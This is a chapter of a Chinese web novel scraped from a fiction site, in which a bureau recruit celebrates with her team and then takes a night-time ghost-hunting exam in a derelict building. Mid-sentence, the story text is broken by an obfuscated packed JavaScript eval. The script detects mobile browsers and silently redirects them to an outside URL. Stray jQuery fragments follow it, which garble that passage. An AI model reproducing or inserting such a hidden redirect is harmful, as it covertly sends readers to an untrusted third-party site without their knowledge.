文趣网 > 其他小说 > 阳光重男他爱意深沉 > 11. 考核
    回到特事局,岑安楹接受了一通检查,何筱宁确认伤势无异常才放她走。

    岑安楹换了身干净衣服下去食堂吃饭,发现大家桌子上放了起码七八家店的外卖,川菜,东北菜,粤菜,泰餐,日料等,口味非常杂。

    墨松还拎着六杯果茶进来,胡霁月拆开包装,招呼她坐下:“来得刚好,外卖都到了,看看要哪个口味饮料?”

    岑安楹坐下,茫然看着满桌菜肴:“怎么突然点这么多外卖?”

    胡霁月嘿嘿一笑:“新人第一次独立任务,惯例庆祝一下,顺便预祝你后天考核顺利,等通过了再让队长请吃饭。”

    程迹嘴里还含着菜,立马举手提议:“我想吃新开的那家烤肉。”

    任秋阳敲了敲他脑袋:“你得问庆祝的主角想吃什么先。”

    岑安楹笑笑:“你们对这熟悉,哪里好吃都听你们的。”

    胡霁月插话:“那还是吃私房菜吧,糖醋小排,番茄牛腩还有可乐鸡翅可好吃了。”

    “霁月姐你还是那么爱吃小孩菜。”程迹吐槽完转头双手合十,可怜兮兮对着岑安楹:“姐,吃烤肉吧。”

    不得不说,程迹用那张娃娃脸装起可怜,真是很懂得物尽其用,岑安楹刚想说要不就可怜下队伍的老幺吧,胡霁月见状一把挤开程迹:“我和安楹天下第一好,对不对?”

    两人同时顶着亮闪闪的眼睛看向自己,岑安楹尴尬笑笑:“要不你俩扔骰子,谁的数字大就听谁的。”

    程迹和胡霁月同时点开聊天软件的随机骰子,骰身转了数圈,一个三,一个六。

    胡霁月抱头哀嚎,程迹得意洋洋:“好,我赢了,吃烤肉!”

    任秋阳拍拍胡霁月的肩,安慰:“明天我陪你去吃私房菜。”

    “这个挺好吃,尝尝。”常君奕将一份干锅花菜顺手推到岑安楹面前,微微靠近,神色略带无奈,“队伍里就是比较闹腾。”

    “热闹点挺好的。”岑安楹夹起一块花菜,“好吃,不过我之前吃过一家更香的,下次一起去。”

    “好啊。”常君奕眼底带着笑意退开,她已经不排斥自己的靠近了。

    吃饱喝足,岑安楹回了房间休息,手机没有数十条待回复的消息,没有填不完的表格,也没有心力交瘁的沟通。

    手机一片平静,队友热热闹闹,新生活虽然危险,但也不错。

    合上眼,岑安楹陷入沉眠。

    考核当天。

    常君奕送她去考核地点,一栋荒废的五层大楼,灰白大楼裸露的钢铁锈迹斑斑,外墙下原先的杂物没有被清理过,罩上厚厚一层灰。

    常君奕说:“考核还有部分是学院的学生,大家都是新人,正常发挥就好。”

    “我会尽力通过考核。”岑安楹点头,暗地里悄悄握拳,为了五位数的转正工资,今天说什么也要合格。

    “你加油。”常君奕笑,“一会儿见。”

    “一会儿见。”岑安楹心想,队长的意思应该是考核结束见,看来时间不会很长。

    按照指示,岑安楹从楼梯步行,建筑内年久失修,灯泡忽闪忽闪,楼道瞧不清的暗处似有什么东西蛰伏。

    握紧口袋里的画笔,岑安楹快步走到顶楼天台,已经有十数人等待,有些面容瞧着和程迹岁数差不多,有些气质成熟。

    谢观仪先看到她,过来打招呼:“岑安楹。”

    岑安楹礼貌挥手,正苦恼交谈话题聊什么,头顶飞来一顶无人机:“各位考生晚上好,这里是考核指挥部,接下来宣布考核规则。”

    “一、考核范围以大楼为中心,三公里半径以内的场地,一旦远离视为失败。”

    “二、随机抽取纸条,在楼中寻找纸条所写的内容并安全带出。”

    “三、现在时间为晚上十点,考核时间截止至凌晨六点。”

    “四、考核通过标准为在规定时间内取得纸条内容,并在诡怪手中存活。”

    “五、考核提醒:纸条附带一张保命符,使用保命符视为考核失败。”

    “那么现在开始抽取纸条。”无人机底舱携带的东西如炸开的礼花,纷纷扬扬的纸条飘散在空中。

    谢观仪率先跳上去抓住纸条,其余人见状也上前争抢,有人打开纸条后不明所以扔掉,重新捡了新的纸条。

    纸条颜色都一样,抽到什么都是运气,岑安楹索性站在原地不动,随手抓住飘到眼前的纸条,打开一看,停滞钟表的时针。

    “考生都已经抽取纸条,那么祝各位好运。”头顶无人机摄像头红光一闪。

    脚底地板传来滴一声,岑安楹脸色一变,地板中间轰隆骤然炸裂,火花四溅,考核者纷纷被炸飞,伴随一阵鸟语芳香的国粹骂语,天台坍塌,浓烟滚滚。

    有人借力炸开的碎石落到五楼一片废墟中,有人展开能力悬浮在空中。

    岑安楹攀着天台墙壁边缘,借势一脚从四楼窗户缺口跃进,翻滚落地后迅速起身。

    走廊地板有水坑,踩上去发出细微的水渍声,楼道的灯管似乎还是声控响应,她往前走一步,身前的灯管便悄无声息依次亮起,岑安楹也看清布局。

    左侧有五个房间,离她最近这个房门半掩,想到纸条上要找的时针,房间里说不定会有钟。

    于是岑安楹用刀柄推开房门,精神力扫过,空荡荡的屋内只余下一套木桌椅,木头早被蛀虫啃得坑坑洼洼,左右墙壁光秃无一物。

    房间内没有发现钟表的痕迹,岑安楹又检查了两个房间,情况也差不多。

    每个房间都搜索,得搜到什么时候,岑安楹心中想偷懒,便掏出纸条对着灯光,看有没有隐藏线索。

    忽然,岑安楹的目光从纸条移到走廊灯管。

    不对劲,她很确定灯亮起时没有任何开关声,所以认为是声控响应,可楼道里的灯从亮起开始,就没灭过。

    建筑老旧,线路老化是必然的结果,那就只有一种可能,这灯被什么东西控制了。

    而明亮的楼道很容易让人放松警惕。

    “还是没发现,继续下一个房间吧。”岑安楹边说,手边缓慢抽出横刀。

    脚步走到第四个房间前,房门紧闭,岑安楹伸手状似去推门,毫无预兆,楼道的灯全灭。

    眼中一黑,视野出现一瞬的盲区,一抹游走的黑影看准时机扑上来,张嘴就朝岑安楹手臂咬。

    血腥场面没出现,铮一声,满是尖锐利齿的黑影咬到的是刀身,岑安楹刀一甩,黑影重重摔到墙上,满墙石灰震碎掉落。

    火焰纹样一笔连成,没给喘息机会,刀身挟着烈火刺向黑影,黑影被钉在墙上不过片刻便消散。

    楼道归于平静,岑安楹剁了跺脚,灯管过了五秒才亮起,看来确实是声控,若想一路亮灯只能敲敲打打,但也无异于告诉诡怪,这里有活人。

    看来只能继续摸黑探索,岑安楹心底盘算着,方才杀死黑影的墙壁慢慢渗出水珠,地板也变得湿漉漉,空气变得潮湿黏腻。

    此时楼道的灯暗下去,她转身看见楼道尽头的阴影里,藏着一道白色身影,长发掩盖面容,而白色身影脚下没有影子。

    “趴下!”有人大喊。

    岑安楹迅速趴下,一道道璀璨金光飞向白影,将其锁住,她眯起眼看清了金光,每道金光是一串连在一起的符文,只是不用符纸,文字便可。

    “束身锁形,诛恶灭诡。”那人继续说,符文光芒大盛,空中泛起难以言喻的灼烧气味。

    白影黑发暴长,直刺向两人,岑安楹左手握笔,脑中轮廓一现,面前升起土墙抵挡,但也只挡住一瞬。

    黑发刺穿土墙,身后之人手中再次飞出符文缠上黑发绞杀,白影惨叫一声也趁机挣脱往下逃走。

    那人问

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964176|214423||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“你没事吧?”

    岑安楹也认出了声音,回头看是谢观仪,她手中捧着一本摊开的书,看样子能力和文字有关。

    她摇头:“我没事,你这是在追那个白影?”

    谢观仪点点头,说:“我在五楼碎石堆里找到纸条写的内容,但是白影将它抢走。”

    “你要找的东西是什么?不如我们接下来合作搞定它。”岑安楹提议,“我们在考核里没有利益冲突,规则没有说禁止互帮互助,况且特事局的行动也是以小队为核心,多人还能相互配合从而保存体力,我们要呆到凌晨六点。”

    谢观仪思索一番,认为她说得有道理:“可以,我纸条上是找一个带诡气的玩偶,需要能力压制后才保证无事,你要找什么?”

    “停滞钟表的时针。”岑安楹说,“你在五楼有看见钟吗?”

    谢观仪摇头:“没有看见,之后留意。”

    两人在四楼搜寻完剩下房间也没看见钟,于是顺势下三楼继续查看,岑安楹一脚踏进楼梯间时发出明显水渍声响,三楼地板表面一层积水,能淹过鞋面,阵阵阴寒之气上涌。

    岑安楹和谢观仪对视一眼,两人同时发出白鸟和金色符文,鸟和符文刚拐过转角,黑发突然刺出插入墙壁,墙壁裂纹遍布,几秒便爬升至天花板。

    岑安楹从楼道直接跳出劈下,刀刀烈火与黑发缠斗。

    楼道另一边也传来打斗声,有脚步声赶来。

    黑发见势不对,蜷缩爬回厕所,谢观仪也赶到面前,手中书翻开下一页,十数道金光符文砸向白影,光芒亮得岑安楹睁不开眼睛,当然效果很管用,白影直接被消灭。

    不过谢观仪的消耗也大,她胸口明显起伏,手抵在额头:“我没事,缓一缓就好,有玩偶吗?”

    白影消失的地面空无一物,岑安楹摇头:“没有,可能被藏起来了。”

    两人进厕所寻找,刀尖推开所有隔间,木门甚至因为老旧腐化,哐当一声掉落,重重砸在地板,散了一地木屑。

    “什么都没有。”谢观仪皱眉叹气,“我在五楼找到还以为会很轻松,看来只能继续找。”

    “等等。”岑安楹盯着马桶水箱,“有个地方还没看。”

    谢观仪不解,岑安楹刀尖点了点马桶水箱,一刀挑开上方盖子,“马桶水箱里可以藏东西,每个都打开看看。”

    谢观仪想了想,金色符文直接炸了所有马桶水箱,没想到废弃已久的厕所竟然还有水,炸得水花四溅。

    岑安楹嗖一下闪开,吐槽:“谢观仪你也太暴力了,我让你打开,没说炸了。”

    “厕所,脏。”谢观仪面无表情吐出三个字,毫不掩饰话语间的嫌弃。

    得,还是个洁癖。

    好巧不巧,熊玩偶就塞在其中一个水箱里,蓬松的毛发吸饱水缠成一绺绺,杂乱无章贴在玩偶表面,显得又潦草又丑,加上玩偶本身散发的诡气,玩偶眼睛黑得瘆人,放出去能随机吓哭一个小孩。

    谢观仪抿嘴,眉头快皱成川字。

    岑安楹实在看不过去,具象出飞鸟叼起来玩偶给谢观仪,玩偶的水还在不停往下滴,谢观仪下意识后退一步。

    “你打算怎么办呢?总不能让我的鸟一直替你叼着。”岑安楹说。

    谢观仪忍着嫌弃,视线看向岑安楹刀身上的火,问:“能把玩偶烤干吗?”

    于是两人一鸟在昏暗的楼道里用火烤玩偶,

    指挥室内,面容年轻的一个男子看着监控画面笑笑:“常君奕,你那边分局的人可真有意思。”

    “你看上的人实力也不错。”男子点了点楼道另一处的打斗画面,“这几人回去得加训。”

    常君奕闭眼休息:“我看上的人实力可不止不错。”

    “是吗?”男子挑眉,看向监控画面上的岑安楹,“那我很期待她在隐藏考点前的表现。”